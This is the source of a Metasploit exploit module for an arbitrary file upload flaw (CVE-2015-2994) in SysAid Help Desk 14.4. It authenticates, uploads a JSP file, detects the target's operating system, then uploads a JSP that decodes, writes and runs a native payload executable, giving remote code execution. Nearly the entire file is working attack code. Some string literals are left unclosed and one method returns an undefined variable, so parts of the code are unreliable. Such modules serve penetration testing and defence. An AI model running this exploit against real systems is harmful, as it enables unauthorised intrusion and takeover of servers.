Create sysaid_auth_file_upload.rb
Pedro Ribeiro
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SysAid Help Desk Administrator Portal Arbitrary File Upload',
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'Description' => %q{
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This module exploits a file upload vulnerability in SysAid Help Desk.
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The vulnerability exists in the ChangePhoto.jsp in the administrator portal,
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which does not handle correctly directory traversal sequences and does not
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enforce file extension restrictions. You need to have an administrator account,
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but there is a Metasploit auxiliary module that can create one for you.
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This module has been tested in SysAid v14.4 in both Linux and Windows.
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},
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'Author' =>
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[
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'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', 'CVE-2015-2994' ],
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[ 'OSVDB', 'TODO' ],
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[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ],
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[ 'URL', 'TODO_FULLDISC_URL' ]
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],
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'DefaultOptions' => { 'WfsDelay' => 5 },
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'Privileged' => false,
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'Platform' => %w{ linux win },
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'Targets' =>
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[
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[ 'Automatic', { } ],
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[ 'SysAid Help Desk v14.4 / Linux',
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{
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'Platform' => 'linux',
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'Arch' => ARCH_X86
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}
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],
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[ 'SysAid Help Desk v14.4 / Windows',
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{
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'Platform' => 'win',
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'Arch' => ARCH_X86
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jun 3 2015'))
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register_options(
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[
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OptPort.new('RPORT', [true, 'The target port', 8080]),
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OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']),
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OptString.new('USERNAME', [true, 'The username to login as']),
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OptString.new('PASSWORD', [true, 'Password for the specified username']),
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], self.class)
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end
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def check
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res = send_request_cgi({
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'uri' => normalize_uri(datastore['TARGETURI'], 'errorInSignUp.htm'),
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'method' => 'GET'
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})
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if res && res.code == 200 && res.body.to_s =~ /css\/master\.css\?v([0-9]{1,2})\.([0-9]{1,2})/
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major = $1.to_i
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minor = $2.to_i
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if major == 14 && minor == 4
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return Exploit::CheckCode::Appears
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elsif major > 14
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return Exploit::CheckCode::Safe
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end
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end
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# Haven't tested in versions < 14.4, so we don't know if they are vulnerable or not
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return Exploit::CheckCode::Unknown
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end
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def authenticate
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res = send_request_cgi({
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'uri' => normalize_uri(datastore['TARGETURI'], 'Login.jsp'),
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'method' => 'POST',
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'vars_post' => {
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'userName' => datastore['USERNAME'],
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'password' => datastore['PASSWORD']
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}
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})
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if res && res.code == 302 && res.get_cookies
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return res.get_cookies
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else
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return nil
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end
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end
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def upload_payload(payload, is_exploit)
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post_data = Rex::MIME::Message.new
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post_data.add_part(payload,
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"application/octet-stream", 'binary',
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"form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(8))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(10))}.jsp\"")
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data = post_data.to_s
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if is_exploit
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print_status("#{peer} - Uploading payload...")
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end
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res = send_request_cgi({
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'uri' => normalize_uri(datastore['TARGETURI'], 'ChangePhoto.jsp'),
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'method' => 'POST',
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'cookie' => @cookie,
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'data' => data,
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'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
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'vars_get' => { 'isUpload' => 'true' }
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})
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if res && res.code == 200 && res.body.to_s =~ /parent.glSelectedImageUrl = \"(.*)\"/
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if is_exploit
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print_status("#{peer} - Payload uploaded successfully")
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end
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return $1
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else
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return nil
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end
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end
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def pick_target
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return target if target.name != 'Automatic'
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print_status("#{peer} - Determining target")
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os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
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url = upload_payload(os_finder_payload, false)
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res = send_request_cgi({
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'uri' => normalize_uri(datastore['TARGETURI'], url),
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'method' => 'GET',
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'cookie' => @cookie,
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'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) }
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})
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if res && res.code == 200
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if res.body.to_s =~ /Linux/
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register_files_for_cleanup('webapps/' + url)
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return targets[1]
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elsif res.body.to_s =~ /Windows/
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register_files_for_cleanup('root/' + url)
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return targets[2]
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end
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end
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return nil
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end
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def generate_jsp_payload
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opts = {:arch => @my_target.arch, :platform => @my_target.platform}
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payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
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exe = generate_payload_exe(opts)
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base64_exe = Rex::Text.encode_base64(exe)
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native_payload_name = rand_text_alpha(rand(6)+3)
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ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
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var_raw = rand_text_alpha(rand(8) + 3)
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var_ostream = rand_text_alpha(rand(8) + 3)
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var_buf = rand_text_alpha(rand(8) + 3)
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var_decoder = rand_text_alpha(rand(8) + 3)
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var_tmp = rand_text_alpha(rand(8) + 3)
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var_path = rand_text_alpha(rand(8) + 3)
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var_proc2 = rand_text_alpha(rand(8) + 3)
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if @my_target['Platform'] == 'linux'
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var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
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chmod = %Q|
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Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
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Thread.sleep(200);
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var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
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cleanup = %Q|
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Thread.sleep(200);
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Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
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else
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chmod = ''
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cleanup = ''
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end
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jsp = %Q|
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<%@page import="java.io.*"%>
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<%@page import="sun.misc.BASE64Decoder"%>
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<%
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try {
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String #{var_buf} = "#{base64_exe}";
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BASE64Decoder #{var_decoder} = new BASE64Decoder();
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byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
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File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
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String #{var_path} = #{var_tmp}.getAbsolutePath();
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BufferedOutputStream #{var_ostream} =
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new BufferedOutputStream(new FileOutputStream(#{var_path}));
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#{var_ostream}.write(#{var_raw});
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#{var_ostream}.close();
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#{chmod}
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Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
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#{cleanup}
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} catch (Exception e) {
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}
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%>
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jsp = jsp.gsub(/\n/, '')
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jsp = jsp.gsub(/\t/, '')
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jsp = jsp.gsub(/\x0d\x0a/, "")
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jsp = jsp.gsub(/\x0a/, "")
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return jsp
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end
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def exploit_native
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return jsp_name
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end
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def exploit
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@cookie = authenticate
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if not @cookie
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print_error("#{peer} - Unable to authenticate with the provided credentials.")
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return
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else
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print_status("#{peer} - Authentication was successful with the provided credentials.")
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end
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@my_target = pick_target
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if @my_target.nil?
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print_error("#{peer} - Unable to select a target, we must bail.")
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return
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else
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print_status("#{peer} - Selected target #{@my_target.name}")
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end
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# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
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# Fail if this is the case and ask the user to select an appropriate payload.
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if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
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fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
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end
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jsp_payload = generate_jsp_payload
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jsp_path = upload_payload(jsp_payload, true)
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if not jsp_path
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fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
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end
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if @my_target == targets[1]
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register_files_for_cleanup('webapps/' + jsp_path)
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else
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register_files_for_cleanup('root/' + jsp_path)
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end
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print_status("#{peer} - Executing payload...")
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send_request_cgi({
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'uri' => normalize_uri(datastore['TARGETURI'], jsp_path),
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'method' => 'GET',
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'cookie' => @cookie,
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'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) }
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})
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end
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end
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